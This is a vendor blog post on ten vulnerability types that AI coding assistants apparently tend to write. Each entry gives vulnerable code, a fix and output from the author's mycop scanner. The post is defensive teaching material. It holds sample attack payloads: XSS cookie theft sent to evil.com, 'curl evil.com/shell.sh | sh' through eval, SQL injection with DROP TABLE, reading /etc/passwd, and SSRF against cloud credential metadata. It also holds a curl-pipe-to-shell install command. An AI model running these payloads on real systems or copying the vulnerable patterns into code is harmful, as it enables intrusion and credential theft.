Security GitHub Copilot Python JavaScript February 15, 2026 · 18 min read · By Abdumajid Rashidov

Top 10 Security Vulnerabilities GitHub Copilot Keeps Writing

GitHub Copilot has changed how developers write code. With 85% of developers now using AI coding tools and AI generating 46% of all new code, the productivity gains are undeniable. But there is a problem nobody talks about enough: Copilot keeps writing the same security vulnerabilities over and over.

According to Veracode's 2025 report, 45% of AI-generated code introduces security flaws. An ACM study found that 29.5% of Python Copilot snippets contain CWE weaknesses. And researchers measured an 86% failure rate for XSS defense in AI-generated code.

I have spent months analyzing the code that Copilot, ChatGPT, and Cursor generate across real-world projects. The same 10 vulnerability types appear again and again. In this post, I am going to show you each one with real vulnerable code, explain why it is dangerous, show how mycop catches it, and give you the secure alternative.


1. SQL Injection via String Formatting

CWE-89 · Severity: Critical

This is the single most common vulnerability Copilot writes. Ask it for any database query, and you will almost certainly get string interpolation instead of parameterized queries.

Vulnerable code (Python)
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

def search_products(category):
    sql = "SELECT * FROM products WHERE category = '%s'" % category
    db.execute(sql)

Why it is dangerous: An attacker can pass ' OR '1'='1' -- as the username, which transforms the query into SELECT * FROM users WHERE username = '' OR '1'='1' --', returning every row in the table. Worse, they can chain ; DROP TABLE users; -- to destroy data.

mycop detection: PY-SEC-001 / PY-SEC-042 CRITICAL

mycop detects f-strings, % formatting, and .format() calls inside SQL query strings. It flags any string concatenation pattern used with database execute methods.

How mycop catches it
$ mycop scan app.py

  app.py:2
  CRITICAL sql injection via string formatting (CWE-89)

       1 | def get_user(username):
  ->   2 |     query = f"SELECT * FROM users WHERE username = '{username}'"
       3 |     cursor.execute(query)

     Possible SQL injection detected. User input may be directly
     interpolated into a SQL query string.
     Fix: Use parameterized queries with placeholders
Secure alternative
def get_user(username):
    cursor.execute(
        "SELECT * FROM users WHERE username = %s",
        (username,)
    )
    return cursor.fetchone()

2. Cross-Site Scripting (XSS)

CWE-79 · Severity: High

Copilot has an 86% failure rate when it comes to XSS defense. It consistently generates code that renders user input as raw HTML without sanitization.

Vulnerable code (JavaScript / React)
// React component
function Comment({ text }) {
    return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// Express route
app.get('/search', (req, res) => {
    res.send(`<h1>Results for: ${req.query.q}</h1>`);
});

Why it is dangerous: An attacker injects <script>document.location='https://evil.com/steal?c='+document.cookie</script> into the text prop or the q parameter. Every user who views the page has their session cookie exfiltrated.

mycop detection: JS-SEC-001 / JS-SEC-010 / JS-SEC-041 HIGH

mycop detects dangerouslySetInnerHTML usage, innerHTML assignments, and unsanitized template literals in response bodies.

Secure alternative
import DOMPurify from 'dompurify';

function Comment({ text }) {
    return <div dangerouslySetInnerHTML={{
        __html: DOMPurify.sanitize(text)
    }} />;
}

// Or better: let React handle escaping
function Comment({ text }) {
    return <div>{text}</div>;
}

3. Hardcoded Secrets and API Keys

CWE-798 · Severity: Critical

Research shows that 6.4% of Copilot-assisted repositories leak secrets — 40% higher than repositories without AI assistance. Every time you ask Copilot to connect to an API, the key ends up in source code.

Vulnerable code (Python)
API_KEY = "sk-proj-abc123def456ghi789jkl012mno345"
DATABASE_URL = "postgresql://admin:SuperSecret123@db.example.com/prod"
JWT_SECRET = "my-super-secret-jwt-key-do-not-share"

client = OpenAI(api_key="sk-1234567890abcdef")

Why it is dangerous: Once committed to version control, secrets are exposed to everyone with repository access and persist in git history even if deleted later. Automated scrapers on GitHub harvest exposed keys within minutes.

mycop detection: PY-SEC-003 / PY-SEC-034 / PY-SEC-043 / JS-SEC-004 / JS-SEC-034 CRITICAL

mycop detects hardcoded credentials including API keys, passwords, database connection strings, JWT secrets, and private keys using pattern matching for common key formats.

Secure alternative
import os

API_KEY = os.environ["OPENAI_API_KEY"]
DATABASE_URL = os.environ["DATABASE_URL"]
JWT_SECRET = os.environ["JWT_SECRET"]

client = OpenAI()  # reads OPENAI_API_KEY from env automatically

4. Command Injection

CWE-78 · Severity: Critical

Copilot loves os.system() and child_process.exec(). It consistently builds shell commands with string concatenation, creating direct paths to remote code execution.

Vulnerable code (Python)
import os

def convert_image(filename, output_format):
    os.system(f"convert {filename} output.{output_format}")

def ping_host(host):
    os.system("ping -c 1 " + host)
Vulnerable code (JavaScript)
const { exec } = require('child_process');

function runDiagnostic(hostname) {
    exec(`nslookup ${hostname}`, (err, stdout) => {
        console.log(stdout);
    });
}

Why it is dangerous: If host is ; cat /etc/passwd, the shell executes both commands. For a web-facing application, this is full remote code execution — the attacker controls your server.

mycop detection: PY-SEC-002 / PY-SEC-045 / PY-SEC-050 / JS-SEC-016 CRITICAL

mycop detects os.system(), os.popen(), subprocess.call() with shell=True, and child_process.exec() with string interpolation.

Secure alternative (Python)
import subprocess

def convert_image(filename, output_format):
    subprocess.run(
        ["convert", filename, f"output.{output_format}"],
        check=True
    )

def ping_host(host):
    subprocess.run(["ping", "-c", "1", host], check=True)

5. Insecure Deserialization

CWE-502 · Severity: Critical

Ask Copilot to load data from a file or network, and it reaches for pickle in Python or node-serialize in JavaScript without hesitation.

Vulnerable code (Python)
import pickle

def load_session(data):
    return pickle.loads(data)

def load_model(path):
    with open(path, 'rb') as f:
        return pickle.load(f)

Why it is dangerous: pickle executes arbitrary Python code during deserialization. An attacker can craft a payload that runs any system command when unpickled. This is not a theoretical risk — it is trivially exploitable.

mycop detection: PY-SEC-007 / JS-SEC-009 CRITICAL

mycop detects usage of pickle.loads(), pickle.load(), yaml.load() without SafeLoader, and JavaScript deserialization with node-serialize.

Secure alternative
import json

def load_session(data):
    return json.loads(data)

# For ML models, use safetensors or ONNX format
from safetensors import safe_open
def load_model(path):
    with safe_open(path, framework="pt") as f:
        return {k: f.get_tensor(k) for k in f.keys()}

6. Eval/Exec Injection

CWE-95 · Severity: Critical

Copilot regularly suggests eval() for parsing JSON, evaluating math expressions, or dynamically executing code. In every case, there is a safer alternative.

Vulnerable code (JavaScript)
// "Parse" JSON the wrong way
function parseData(input) {
    return eval('(' + input + ')');
}

// Calculator
app.post('/calculate', (req, res) => {
    const result = eval(req.body.expression);
    res.json({ result });
});
Vulnerable code (Python)
def evaluate_formula(formula):
    return eval(formula)

def run_user_code(code_string):
    exec(code_string)

Why it is dangerous: eval() executes any code. In Node.js, an attacker sends require('child_process').execSync('whoami').toString() as the expression. In Python, __import__('os').system('curl evil.com/shell.sh | sh'). Full remote code execution.

mycop detection: PY-SEC-005 / JS-SEC-002 / JS-SEC-049 CRITICAL

mycop flags all usage of eval() and exec() in Python, JavaScript, Go, and Java, with context-aware detection for user-controlled input.

Secure alternative
// JavaScript: use JSON.parse for data, mathjs for expressions
const math = require('mathjs');

function parseData(input) {
    return JSON.parse(input);
}

app.post('/calculate', (req, res) => {
    const result = math.evaluate(req.body.expression);
    res.json({ result });
});

# Python: use ast.literal_eval for data structures
import ast
def evaluate_formula(formula):
    return ast.literal_eval(formula)

7. Path Traversal

CWE-22 · Severity: High

Copilot generates file-serving code that trusts user-supplied filenames without any validation, allowing attackers to read arbitrary files from the server.

Vulnerable code (Python)
from flask import Flask, request, send_file

app = Flask(__name__)

@app.route('/download')
def download():
    filename = request.args.get('file')
    return send_file(f'/uploads/{filename}')
Vulnerable code (JavaScript)
const express = require('express');
const path = require('path');
const fs = require('fs');

app.get('/files/:name', (req, res) => {
    const filePath = path.join('/uploads', req.params.name);
    res.sendFile(filePath);
});

Why it is dangerous: An attacker requests /download?file=../../etc/passwd or /files/..%2F..%2Fetc%2Fpasswd. The .. sequences traverse up the directory tree, allowing the attacker to read any file on the system including configuration files, credentials, and private keys.

mycop detection: PY-SEC-006 / PY-SEC-037 / JS-SEC-006 / JS-SEC-037 HIGH

mycop detects file operations that use user-controlled input without path validation, including zip extraction (Zip Slip) patterns.

Secure alternative (Python)
import os
from flask import Flask, request, send_file, abort

UPLOAD_DIR = '/uploads'

@app.route('/download')
def download():
    filename = request.args.get('file')
    safe_path = os.path.realpath(os.path.join(UPLOAD_DIR, filename))
    if not safe_path.startswith(os.path.realpath(UPLOAD_DIR)):
        abort(403)
    return send_file(safe_path)

8. Insecure Cryptography

CWE-327/328 · Severity: High

Copilot routinely suggests MD5 and SHA1 for password hashing, DES for encryption, and ECB mode for block ciphers. All of these have been broken for years.

Vulnerable code (Python)
import hashlib

def hash_password(password):
    return hashlib.md5(password.encode()).hexdigest()

def verify_password(password, stored_hash):
    return hashlib.sha1(password.encode()).hexdigest() == stored_hash
Vulnerable code (JavaScript)
const crypto = require('crypto');

function hashPassword(password) {
    return crypto.createHash('md5').update(password).digest('hex');
}

// DES encryption
const cipher = crypto.createCipheriv('des-ecb', key, null);

Why it is dangerous: MD5 produces collisions in seconds. SHA1 is considered broken since 2017. Neither applies salting or key stretching, making rainbow table attacks trivial. DES has a 56-bit key — it can be brute-forced in hours. ECB mode leaks patterns in encrypted data.

mycop detection: PY-SEC-017PY-SEC-021 / JS-SEC-017JS-SEC-022 HIGH

mycop detects MD5, SHA1, DES, RC4, ECB mode, and other weak cryptographic constructs across Python, JavaScript, Go, and Java.

Secure alternative (Python)
import bcrypt

def hash_password(password):
    return bcrypt.hashpw(password.encode(), bcrypt.gensalt())

def verify_password(password, stored_hash):
    return bcrypt.checkpw(password.encode(), stored_hash)

# For encryption, use AES-256-GCM
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)

9. Server-Side Request Forgery (SSRF)

CWE-918 · Severity: High

Copilot generates HTTP request code that passes user-supplied URLs directly to request libraries without any validation or allowlisting.

Vulnerable code (Python)
import requests
from flask import request

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)
    return response.text
Vulnerable code (JavaScript)
const axios = require('axios');

app.get('/proxy', async (req, res) => {
    const response = await axios.get(req.query.url);
    res.json(response.data);
});

Why it is dangerous: An attacker sends /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ to access AWS instance metadata and steal IAM credentials. They can also probe internal networks, access internal services, and read local files via file:// URLs.

mycop detection: PY-SEC-011 / JS-SEC-007 HIGH

mycop detects HTTP requests where the URL is derived from user input without validation or allowlisting.

Secure alternative (Python)
from urllib.parse import urlparse

ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com'}

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        abort(403, "Host not allowed")
    if parsed.scheme not in ('http', 'https'):
        abort(403, "Scheme not allowed")
    response = requests.get(url, timeout=5)
    return response.text

10. Insecure Random Number Generation

CWE-330 · Severity: Medium

Copilot uses Math.random() and Python's random module for generating tokens, session IDs, and passwords. These are not cryptographically secure — their output is predictable.

Vulnerable code (JavaScript)
function generateToken() {
    return Math.random().toString(36).substring(2);
}

function generateSessionId() {
    let id = '';
    for (let i = 0; i < 32; i++) {
        id += Math.floor(Math.random() * 16).toString(16);
    }
    return id;
}
Vulnerable code (Python)
import random
import string

def generate_password(length=16):
    chars = string.ascii_letters + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

def generate_reset_token():
    return str(random.randint(100000, 999999))

Why it is dangerous: Math.random() uses a PRNG that can be reverse-engineered from its output. Python's random module uses the Mersenne Twister, which can be fully reconstructed from 624 outputs. An attacker who observes enough tokens can predict future ones, allowing session hijacking or password reset takeover.

mycop detection: PY-SEC-004 / JS-SEC-005 MEDIUM

mycop detects usage of Math.random() and random.choice()/random.randint() in security-sensitive contexts like token and password generation.

Secure alternative
// JavaScript: use crypto module
const crypto = require('crypto');

function generateToken() {
    return crypto.randomBytes(32).toString('hex');
}

# Python: use secrets module
import secrets

def generate_password(length=16):
    chars = string.ascii_letters + string.digits
    return ''.join(secrets.choice(chars) for _ in range(length))

def generate_reset_token():
    return secrets.token_urlsafe(32)

The Pattern: Why Copilot Keeps Making These Mistakes

All 10 vulnerabilities share the same root cause: Copilot optimizes for functionality, not security. It generates code that works correctly for the happy path but ignores adversarial inputs entirely.

Three factors make this worse:

  1. Training data bias. Stack Overflow answers and tutorials prioritize simplicity. The top answer for "how to hash a password in Python" may still use MD5. Copilot learns from what is popular, not what is secure.
  2. No threat modeling. Copilot has no concept of an attacker. It does not reason about who will call a function or what malicious input they might provide.
  3. Developer trust. Studies show developers who use AI assistants are more confident their code is secure, even when it is not. The fluency and correctness of the output creates false assurance.

The numbers tell the story: 10,000+ new AI-introduced security findings per month are being reported across organizations using AI coding tools. The volume is increasing as AI-generated code becomes a larger share of all production code.

Catch All 10 Automatically with mycop

mycop is an open-source security scanner built specifically for the vulnerabilities that AI coding assistants introduce. It ships with 200 built-in rules covering OWASP Top 10 and CWE Top 25, supports Python, JavaScript, TypeScript, Go, and Java, and requires zero configuration.

# Install
curl -fsSL https://raw.githubusercontent.com/AbdumajidRashidov/mycop/main/install.sh | sh

# Scan your project
mycop scan .

# Auto-fix vulnerabilities with AI
mycop fix . --dry-run

# Scan only changed files (great for CI)
mycop scan --diff .

Every vulnerability in this post is detected by mycop's built-in rules. No custom configuration needed — install and scan.

Stop shipping Copilot's vulnerabilities to production

Run mycop on your codebase and see how many of these 10 vulnerabilities are already in your code.

curl -fsSL https://raw.githubusercontent.com/AbdumajidRashidov/mycop/main/install.sh | sh && mycop scan . Star on GitHub

mycop is MIT licensed and open source. Scanning requires no API keys and runs entirely offline. Auto-fix requires an AI provider (Claude, OpenAI, or Ollama). It runs on macOS, Linux, and Windows.